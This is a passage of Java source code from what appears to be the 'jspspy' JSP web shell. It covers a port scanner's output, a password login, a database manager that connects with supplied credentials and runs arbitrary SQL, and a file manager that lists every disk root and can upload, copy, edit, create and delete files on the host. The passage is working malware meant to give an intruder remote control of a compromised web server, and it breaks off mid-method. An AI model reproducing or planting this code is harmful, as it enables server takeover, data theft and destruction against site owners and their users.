1007if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
1008rs.put(port,"Open <span style=\"color:grey;font-weight:normal\"><<No Banner!>></span>");
1009if (r != null)
1010r.close();
1011} else {
1012rs.put(port,"Close");
1013}
1014}
1015}
1016out.println("<div style='margin:10px'>");
1017Set entrySet = rs.entrySet();
1018 Iterator it = entrySet.iterator();
1019 while (it.hasNext()) {
1020 Map.Entry e = (Map.Entry)it.next();
1021 String port = (String)e.getKey();
1022 String value = (String)e.getValue();
1023out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
1024}
1025out.println("</div>");
1026} catch (Exception e) {
1027
1028throw e ;
1029}
1030}
1031}
1032private static class VConnInvoker extends DefaultInvoker {
1033public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1034try {
1035PrintWriter out = response.getWriter();
1036Object obj = JSession.getAttribute(DBO);
1037if (obj == null || !((DBOperator)obj).isValid()) {
1038out.println(" <script type=\"text/javascript\">"+
1039" function changeurldriver(){"+
1040" var form = document.forms[\"form1\"];"+
1041" var v = form.elements[\"db\"].value;"+
1042" form.elements[\"url\"].value = v.split(\"`\")[1];"+
1043" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1044" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1045" }"+
1046" </script>");
1047out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1048"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1049"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
1050"<h2>DataBase Manager »</h2>"+
1051"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1052"<p>"+
1053"Driver:"+
1054" <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
1055"URL:"+
1056"<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1057"UID:"+
1058"<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1059"PWD:"+
1060"<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1061"DataBase:"+
1062" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1063" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1064" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1065" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1066" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
1067" <option value=' ` '>Other</option>"+
1068" </select>"+
1069"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1070"</p>"+
1071"</form></table><script>changeurldriver()</script>");
1072} else {
1073((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1074}
1075} catch (ClassCastException e) {
1076throw e;
1077} catch (Exception e) {
1078
1079throw e ;
1080}
1081}
1082}
1083//DBConnect
1084private static class DbcInvoker extends DefaultInvoker {
1085public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1086try {
1087PrintWriter out = response.getWriter();
1088String driver = request.getParameter("driver");
1089String url = request.getParameter("url");
1090String uid = request.getParameter("uid");
1091String pwd = request.getParameter("pwd");
1092String sql = request.getParameter("sql");
1093String selectDb = request.getParameter("selectDb");
1094if (selectDb == null)
1095selectDb = JSession.getAttribute("selectDb").toString();
1096else
1097JSession.setAttribute("selectDb",selectDb);
1098Object dbo = JSession.getAttribute(DBO);
1099if (dbo == null || !((DBOperator)dbo).isValid()) {
1100if (dbo != null)
1101((DBOperator)dbo).close();
1102dbo = new DBOperator(driver,url,uid,pwd,true);
1103} else {
1104if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
1105DBOperator oldDbo = (DBOperator)dbo;
1106dbo = new DBOperator(driver,url,uid,pwd);
1107if (!oldDbo.equals(dbo)) {
1108((DBOperator)oldDbo).close();
1109((DBOperator)dbo).connect();
1110} else {
1111dbo = oldDbo;
1112}
1113}
1114}
1115DBOperator Ddbo = (DBOperator)dbo;
1116JSession.setAttribute(DBO,Ddbo);
1117if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
1118Ddbo.getConn().setCatalog(request.getParameter("catalog"));
1119}
1120Util.outMsg(out,"Connect To DataBase Success!");
1121out.println(" <script type=\"text/javascript\">"+
1122" function changeurldriver(selectDb){"+
1123" var form = document.forms[\"form1\"];"+
1124" if (selectDb){"+
1125" form.elements[\"db\"].selectedIndex = selectDb"+
1126" }"+
1127" var v = form.elements[\"db\"].value;"+
1128" form.elements[\"url\"].value = v.split(\"`\")[1];"+
1129" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1130" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1131" }"+
1132" </script>");
1133out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1134"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1135"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
1136"<h2>DataBase Manager »</h2>"+
1137"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1138"<p>"+
1139"Driver:"+
1140" <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
1141"URL:"+
1142"<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1143"UID:"+
1144"<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1145"PWD:"+
1146"<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1147"DataBase:"+
1148" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1149" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1150" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1151" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1152" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
1153" <option value=' ` '>Other</option>"+
1154" </select>"+
1155"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1156"</p>"+
1157"</form><script>changeurldriver('"+selectDb+"')</script>");
1158DatabaseMetaData meta = Ddbo.getConn().getMetaData();
1159out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
1160"<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
1161out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
1162out.println("<option value='0'>-- Select a DataBase --</option>");
1163ResultSet dbs = meta.getCatalogs();
1164try {
1165while (dbs.next()){
1166out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
1167}
1168}catch(Exception ex) {
1169}
1170dbs.close();
1171out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
1172if (Util.isEmpty(sql)) {
1173String type = request.getParameter("type");
1174if (Util.isEmpty(type) || type.equals("switch")) {
1175ResultSet tbs = meta.getTables(null,null,null,null);
1176out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
1177tbs.close();
1178} else if (type.equals("struct")) {
1179String tb = request.getParameter("table");
1180if (Util.isEmpty(tb))
1181return;
1182ResultSet t = meta.getColumns(null,null,tb,null);
1183out.println(Table.rs2Table(t,"",false));
1184t.close();
1185}
1186}
1187} catch (Exception e) {
1188JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
1189throw e;
1190}
1191}
1192}
1193private static class ExecuteSQLInvoker extends DefaultInvoker{
1194public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1195try {
1196PrintWriter out = response.getWriter();
1197String sql = request.getParameter("sql");
1198String db = request.getParameter("selectDb");
1199Object dbo = JSession.getAttribute(DBO);
1200if (!Util.isEmpty(sql)) {
1201if (dbo == null || !((DBOperator)dbo).isValid()) {
1202((Invoker)ins.get("vConn")).invoke(request,response,JSession);
1203return;
1204} else {
1205((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1206Object obj = ((DBOperator)dbo).execute(sql);
1207if (obj instanceof ResultSet) {
1208ResultSet rs = (ResultSet)obj;
1209ResultSetMetaData meta = rs.getMetaData();
1210int colCount = meta.getColumnCount();
1211out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
1212out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
1213for (int i=1;i<=colCount;i++) {
1214out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
1215}
1216out.println("</tr>");
1217Table tb = new Table();
1218while(rs.next()) {
1219Row r = new Row();
1220for (int i = 1;i<=colCount;i++) {
1221String v = null;
1222try {
1223v = rs.getString(i);
1224} catch (SQLException ex) {
1225v = "<<Error!>>";
1226}
1227r.addColumn(new Column(v));
1228}
1229tb.addRow(r);
1230}
1231out.println(tb.toString());
1232out.println("</table><br/>");
1233rs.close();
1234((DBOperator)dbo).closeStmt();
1235} else {
1236out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
1237}
1238}
1239} else {
1240((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1241}
1242} catch (Exception e) {
1243
1244throw e ;
1245}
1246}
1247}
1248private static class VLoginInvoker extends DefaultInvoker {
1249public boolean doBefore() {return false;}
1250public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1251try {
1252PrintWriter out = response.getWriter();
1253out.println("<html><head><title>jspspy</title><style type=\"text/css\">"+
1254" input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
1255"a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
1256" </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
1257"<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
1258" <input name=\"o\" type=\"hidden\" value=\"login\">"+
1259" <input name=\"pw\" type=\"password\" size=\"20\">"+
1260" <input type=\"hidden\" name=\"o\" value=\"login\">"+
1261" <input type=\"submit\" value=\"\"><br/>"+
1262"<!--<span style=\"font:11px Verdana;\">Copyright © 2010</span>--></p>"+
1263" </form><span style='font-weight:bold;color:red;font-size:12px'></span></body></html>");
1264} catch (Exception e) {
1265
1266throw e ;
1267}
1268}
1269}
1270private static class LoginInvoker extends DefaultInvoker{
1271public boolean doBefore() {return false;}
1272public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1273try {
1274String inputPw = request.getParameter("pw");
1275if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
1276((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1277return;
1278} else {
1279JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
1280response.sendRedirect(SHELL_NAME);
1281return;
1282}
1283} catch (Exception e) {
1284
1285throw e ;
1286}
1287}
1288}
1289private static class MyComparator implements Comparator{
1290public int compare(Object obj1,Object obj2) {
1291 try {
1292 if (obj1 != null && obj2 != null) {
1293 File f1 = (File)obj1;
1294 File f2 = (File)obj2;
1295 if (f1.isDirectory()) {
1296 if (f2.isDirectory()) {
1297 return f1.getName().compareTo(f2.getName());
1298 } else {
1299 return -1;
1300 }
1301 } else {
1302 if (f2.isDirectory()) {
1303 return 1;
1304 } else {
1305 return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
1306 }
1307 }
1308 }
1309 return 0;
1310 } catch (Exception e) {
1311 return 0;
1312 }
1313}
1314}
1315private static class FileListInvoker extends DefaultInvoker {
1316public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
1317try {
1318String path2View = null;
1319PrintWriter out = response.getWriter();
1320String path = request.getParameter("folder");
1321String outEntry = request.getParameter("outentry");
1322if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
1323JSession.removeAttribute(ENTER);
1324JSession.removeAttribute(ENTER_MSG);
1325JSession.removeAttribute(ENTER_CURRENT_DIR);
1326}
1327Object enter = JSession.getAttribute(ENTER);
1328File file = null;
1329if (!Util.isEmpty(enter)) {
1330if (Util.isEmpty(path)) {
1331if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
1332path = "/";
1333else
1334path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
1335}
1336file = new EnterFile(path);
1337((EnterFile)file).setZf((String)enter);
1338JSession.setAttribute(ENTER_CURRENT_DIR,path);
1339} else {
1340if (Util.isEmpty(path))
1341path = JSession.getAttribute(CURRENT_DIR).toString();
1342JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
1343file = new File(path);
1344}
1345path2View = Util.convertPath(path);
1346if (!file.exists()) {
1347throw new Exception(path+"Dont Exists !");
1348}
1349File[] list = file.listFiles();
1350Arrays.sort(list,new MyComparator());
1351out.println("<div style='margin:10px'>");
1352String cr = null;
1353try {
1354cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
1355}catch(Exception e) {
1356cr = "/";
1357}
1358File currentRoot = new File(cr);
1359out.println("<h2>File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)</h2>");
1360out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
1361"<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
1362" <tr>"+
1363" <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
1364" <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
1365" <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
1366" </tr>"+
1367"</table>"+
1368"</form>");
1369out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
1370"<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
1371"<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
1372"<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
1373" | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
1374" | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
1375" | ");
1376File[] roots = file.listRoots();
1377for (int i = 0;i<roots.length;i++) {
1378File r = roots[i];
1379out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
1380if (i != roots.length -1) {
1381out.println("|");
1382}
1383}
1384out.println("</td>"+
1385"</tr></form>"+
1386"<tr class=\"head\"><td> </td>"+
1387" <td>Name</td>"+
1388" <td width=\"16%\">Last Modified</td>"+
1389" <td width=\"10%\">Size</td>"+
1390" <td width=\"20%\">Read/Write/Execute</td>"+
1391" <td width=\"22%\"> </td>"+
1392"</tr>");
1393if (file.getParent() != null) {
1394out.println("<tr class=alt1>"+
1395"<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
1396"<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
1397"</tr>");
1398}
1399int dircount = 0;
1400int filecount = 0;
1401for (int i = 0;i<list.length;i++) {
1402 File f = list[i];
1403if (f.isDirectory()) {
1404dircount ++;
1405out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
1406"<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
1407"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
1408"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1409"<td nowrap>--</td>"+
1410"<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
1411"<td nowrap>");
1412if (enter != null)
1413out.println(" ");
1414else
1415out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
1416out.println("</td></tr>");
1417} else {
1418filecount++;
1419out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
1420"<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
1421"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
1422"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1423"<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
1424"<td nowrap>"+
1425""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
1426"<td nowrap>"+
1427"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
1428"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
1429"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
1430if (enter == null ) {
1431out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
1432"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
1433"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
1434if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
1435out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
1436} else if (f.getName().endsWith(".rar")) {
1437out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
1438} else {
1439out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
1440}
1441}
1442out.println("</td></tr>");
1443}
1444}
1445out.println("<tr class=\"alt2\"><td align=\"center\"> </td>"+
1446" <td>");
1447if (enter != null)
1448out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
1449else
1450out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
1451out.println("</td>"+
1452" <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
1453"</table>");
1454out.println("</div>");
1455if (file instanceof EnterFile)
1456((EnterFile)file).close();
1457} catch (ZipException e) {
1458JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
1459throw e;
1460} catch (Exception e) {
1461JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
1462throw e;
1463}
1464}
1465}
1466private static class LogoutInvoker extends DefaultInvoker {
1467public boolean doBefore() {return false;}
1468public boolean doAfter() {return false;}
1469public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1470try {
1471Object dbo = JSession.getAttribute(DBO);
1472if (dbo != null)
1473((DBOperator)dbo).close();
1474Object obj = JSession.getAttribute(PORT_MAP);
1475if (obj != null) {
1476ServerSocket s = (ServerSocket)obj;
1477s.close();
1478}
1479Object online = JSession.getAttribute(SHELL_ONLINE);
1480if (online != null)
1481((OnLineProcess)online).stop();
1482JSession.invalidate();
1483((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1484} catch (ClassCastException e) {
1485JSession.invalidate();
1486((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1487} catch (Exception e) {
1488
1489throw e ;
1490}
1491}
1492}
1493private static class UploadInvoker extends DefaultInvoker {
1494public boolean doBefore() {return false;}
1495public boolean doAfter() {return false;}
1496public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1497try {
1498UploadBean fileBean = new UploadBean();
1499response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
1500fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
1501fileBean.parseRequest(request);
1502File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName());
1503if (f.exists() && f.length() > 0)
1504JSession.setAttribute(MSG,"<span style='color:green'>Upload File Success!</span>");
1505else
1506JSession.setAttribute("MSG","<span style='color:red'>Upload File Failed!</span>");
1507response.sendRedirect(SHELL_NAME);
1508} catch (Exception e) {
1509throw e ;
1510}
1511}
1512}
1513private static class CopyInvoker extends DefaultInvoker {
1514public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1515try {
1516String src = request.getParameter("src");
1517String to = request.getParameter("to");
1518InputStream in = null;
1519Object enter = JSession.getAttribute(ENTER);
1520if (enter == null)
1521in = new FileInputStream(new File(src));
1522else {
1523ZipFile zf = new ZipFile((String)enter);
1524ZipEntry entry = zf.getEntry(src);
1525in = zf.getInputStream(entry);
1526}
1527BufferedInputStream input = new BufferedInputStream(in);
1528BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
1529byte[] d = new byte[1024];
1530int len = input.read(d);
1531while(len != -1) {
1532output.write(d,0,len);
1533len = input.read(d);
1534}
1535output.close();
1536input.close();
1537JSession.setAttribute(MSG,"Copy File Success!");
1538response.sendRedirect(SHELL_NAME);
1539} catch (Exception e) {
1540
1541throw e ;
1542}
1543}
1544}
1545private static class BottomInvoker extends DefaultInvoker {
1546public boolean doBefore() {return false;}
1547public boolean doAfter() {return false;}
1548public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1549try {
1550response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Don't break my heart~"+
1551"</div>");
1552} catch (Exception e) {
1553
1554throw e ;
1555}
1556}
1557}
1558private static class VCreateFileInvoker extends DefaultInvoker {
1559public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1560try {
1561PrintWriter out = response.getWriter();
1562String path = request.getParameter("filepath");
1563File f = new File(path);
1564if (!f.isAbsolute()) {
1565String oldPath = path;
1566path = JSession.getAttribute(CURRENT_DIR).toString();
1567if (!path.endsWith("/"))
1568path+="/";
1569path+=oldPath;
1570f = new File(path);
1571f.createNewFile();
1572} else {
1573f.createNewFile();
1574}
1575out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1576"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1577"<h2>Create / Edit File »</h2>"+
1578"<input type='hidden' name='o' value='createFile'>"+
1579"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1580" <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
1581"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
1582"<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1583"</form>"+
1584"</td></tr></table>");
1585} catch (Exception e) {
1586
1587throw e ;
1588}
1589}
1590}
1591private static class VEditInvoker extends DefaultInvoker {
1592public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1593try {
1594PrintWriter out = response.getWriter();
1595String path = request.getParameter("filepath");
1596String charset = request.getParameter("charset");
1597Object enter = JSession.getAttribute(ENTER);
1598InputStream input = null;
1599if (enter != null) {
1600ZipFile zf = new ZipFile((String)enter);
1601ZipEntry entry = new ZipEntry(path);
1602input = zf.getInputStream(entry);
1603} else {
1604File f = new File(path);
1605if (!f.exists())
1606return;
1607input = new FileInputStream(path);
1608}
1609
1610BufferedReader reader = null;
1611if (Util.isEmpty(charset) || charset.equals("ANSI"))
1612reader = new BufferedReader(new InputStreamReader(input));
1613else
1614reader = new BufferedReader(new InputStreamReader(input,charset));
1615StringBuffer content = new StringBuffer();
1616String s = reader.readLine();
1617while (s != null) {
1618content.append(s+"\r\n");
1619s = reader.readLine();
1620}
1621reader.close();
1622out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1623"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1624"<h2>Create / Edit File »</h2>"+
1625"<input type='hidden' name='o' value='createFile'>"+
1626"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1627" <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
1628"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
1629"<p>");
1630if (enter != null)
1631out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
1632else
1633out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
1634out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1635"</form>"+
1636"</td></tr></table>");
1637
1638} catch (Exception e) {
1639
1640throw e ;
1641}
1642}
1643}
1644private static class CreateFileInvoker extends DefaultInvoker {
1645public boolean doBefore(){return false;}
1646public boolean doAfter(){return false;}
1647public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1648try {
1649PrintWriter out = response.getWriter();
1650String path = request.getParameter("filepath");
1651String content = request.getParameter("filecontent");
1652String charset = request.getParameter("charset");
